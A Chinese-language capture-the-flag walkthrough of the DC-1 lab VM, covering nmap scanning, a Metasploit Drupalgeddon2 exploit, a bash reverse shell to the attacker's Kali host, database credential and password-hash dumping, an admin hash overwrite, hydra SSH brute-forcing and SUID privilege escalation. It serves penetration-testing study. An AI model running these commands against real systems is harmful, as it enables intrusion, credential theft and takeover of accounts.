一:准备阶段
DC-1下载与安装
下载:点我
安装:
下载之后进行解压,得到.ova文件
右键选择VMware打开,
选择路径,导入虚拟机,若出现下图情况,先点击取消,然后把vmware正处于开启状态的虚拟机关闭或者选择挂起。再重新选择路劲,导入虚拟机,若还是出现下图内容,则点击重试即可。
安装完成
点击编辑虚拟机
开启虚拟机会报如下图错误,无论点击是,否或者X掉,电脑直接蓝屏
需要给这个虚拟机一个iso文件地址,但是当你点进去的时候,你会发现没有ISO镜像可以用。
跟换其他的就可以了。
开启完成:
在Kali上,首先创建一个tmp文件夹,然后在这个文件夹中创建一个DC-1的文件夹,并进入该目录下(这样做是为了便于文件分门别类,便于管理查看),再进行如下操作。
用nmap进行ping扫描,命令为:nmap -sP 192.168.100.0/24 -oN nmap.sP
由刚才生成的MAC地址可以判断,靶机DC-1的IP为100.1
确定具体主机,进行端口扫描nmap -A 192.168.100.1 -p 1-65535 -oN nmap.A
发现其22 80端口号是开放的。
nmap -A 192.168.1.1 -p 1-65535 -oN namp.A
22端口 爆破
80 drupal cms
三大PHP cms之一
drupal
wordpress
joomla
既然80端口开放了,我们就可以通过浏览器进行访问。
思路一:
这时候,我们可以通过工具进行网站扫描(需要时间)
工具:dirb
dirb http://192.168.100.1/
另外一款工具,需要手动安装,版本较新的kali自动安装了
apt-get update
apt-get install dirbuster
大概如下图所示:
扫描到robots.txt路径
在http://192.168.100.1/robots.txt 页面下,找到UPGRADE.txt文件,进入到http://192.168.100.1/UPGRADE.txt
发现版本是7.X,那么就可以通过百度搜索drupal7.x的漏洞。
类似下图:
思路二:
通过Kali里面的msfconsole直接搜索该网站模板存在的漏洞
启动msfconsole: msfconsole
查找漏洞:search drupal
选择这个攻击模块:use exploit/unix/webapp/drupal_drupalgeddon2
此处可以通过info进行基本信息查看(包括使用版本,漏洞详情等)如下图:
从上面info信息得知:这个漏洞名是CVE-2018-7600,那么就可以通过references查看该漏洞的详情:
通过查看References来查看该漏洞的详细信息;
References:
https://cvedetails.com/cve/CVE-2018-7600/
https://www.drupal.org/sa-core-2018-002
https://greysec.net/showthread.php?tid=2912
https://research.checkpoint.com/uncovering-drupalgeddon-2/
https://github.com/a2u/CVE-2018-7600
https://github.com/nixawk/labs/issues/19
https://github.com/FireFart/CVE-2018-7600
使用攻击载荷:set payload php/meterpreter/reverse_tcp
设置目标IP:set rhosts 192.168.100.1
设置源IP:set lhost 192.168.100.7
攻击:exploit
拿到shell
二:flag1
cat flag1.txt
Every good CMS needs a config file - and so do you.
这句话是在指引我们,找的该网站的配置文件。
配置文件所在目录:sites/default/
三:flag2
进入default目录下,
cat settings.php
得到flag2和数据库相关信息
四:flag3
通过 shell
命令,进入交互式界面。
这时,我们使用连接mysql的命令:mysql -udbuser -pR0ck3t
发现输入之后没有任何反应。连接失败?
为什么呢?这个shell是通过http连接的,是非持久性连接,而我们需要建立一个持久性连接,所以连接失败。
那么怎么建立一个持久性连接呢?做一个反弹shell。
在Kali上新打开一个命令窗口,nc -lvvp 2333
监听2333端口。
这里为什么要新建一个命令窗口呢?因为刚才Kali的命令窗口已经通过shell
命令进入到shell页面了(相当于是drupal的命令窗口上)
然后在shell窗口上进行bash反弹
命令如下:bash -i >& /dev/tcp/192.168.100.7/2333 0>&1
直接反弹失败。(kali新建的命令窗口也没有任何反应)
借助python进行反弹
python -c 'import pty;pty.spawn("/bin/bash")'
然后再输入bash反弹的命令,
bash -i >& /dev/tcp/192.168.100.7/2333 0>&1
如下图,反弹成功(小的命令窗口出现了红框中的内容)。
接下来有个坑点:
这时,我们再次使用连接mysql的命令:mysql -udbuser -pR0ck3t
首先在反弹shell窗口输入连接mysql的命令,发现没有任何反应。
按ctrl+c 退出之后,再到shell交互环境输入连接mysql的命令,不退出的话,两边都没有任何反应。(我也是觉得很奇怪。。。)
连接成功。
进入到数据库,命令是:
show databases; # 查看数据库
use drupaldb; # 进入数据库
show tables; # 查看所有的表
发现表中有个users表
查询该表:select * from users\G
得到如下内容:
mysql> select * from users\G
select * from users\G
*************************** 1. row ***************************
uid: 0
name:
pass:
mail:
theme:
signature:
signature_format: NULL
created: 0
access: 0
login: 0
status: 0
timezone: NULL
language:
picture: 0
init:
data: NULL
*************************** 2. row ***************************
uid: 1
name: admin
pass: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
mail: admin@example.com
theme:
signature:
signature_format: NULL
created: 1550581826
access: 1550583852
login: 1550582362
status: 1
timezone: Australia/Melbourne
language:
picture: 0
init: admin@example.com
data: b:0;
*************************** 3. row ***************************
uid: 2
name: Fred
pass: $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
mail: fred@example.org
theme:
signature:
signature_format: filtered_html
created: 1550581952
access: 1550582225
login: 1550582225
status: 1
timezone: Australia/Melbourne
language:
picture: 0
init: fred@example.org
data: b:0;
3 rows in set (0.00 sec)
mysql>
接下来重置后台管理员密码,
重置admin 用户密码
这里我们破解admin 用户密码要耗费时间,我们可以考虑重置admin 用户密码,用一个新的密码密文覆盖掉admin原来的密码密文:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
那么,我们就首先要生成一个已知明文密码的密码密文,
先exit退出,进入www目录下,使用命令:php scripts/password-hash.sh 123456
如图:
重新登录mysql:mysql -udbuser -pR0ck3t
使用drupaldb:use drupaldb;
更新user表:
update users set pass="$S$DJH3xhaAx8rf1UTjtuyyNf2cvME84jKzKnN5YBaPXDSAZ9GgkimE" where uid=1;
更新user表成功
通过浏览器访问网站,账号密码是admin/123456
登录成功
线索:提示我们 etc/passwd
五:flag4
既然要去/etc/passwd目录下
那么我们先退出mysql
cat /etc/passwd
找到了flag4
从上面给出的信息,可以看到flag4 用户是可以登录的。
那我们使用hydra 爆破该用户密码。
命令:hydra -l flag4 -P /usr/share/john/password.lst 192.168.100.1 ssh -vV -f -o hydra.ssh
IP是目标IP,也就是DC-1靶机的IP
-f:遇到正确的就停止。
-o:就是把结果输出到一个文件中。
首先在Kali上再新建一个命令窗口,
进入在准备阶段就创建好的目录下,
等待。。。。
爆破成功。
用ssh登录成功
输入ls
提示我们,在root目录下。
六:flag5
那么我们首先直接cd 到root下,发现没有权限,这时候就考虑提权。
查看系统中是否有一些命令具有SUID 标志(在执行命令过程中会短暂的获得root权限)?
我们用带有SUID标志的命令去调用bash,bash会继承SUID权限,也会短暂的获得root权限。
查找具有SUID标志的命令:find / -perm -4000 2>/dev/null
接下来的步骤如下图:
好了,这就渗透测试完成了。。。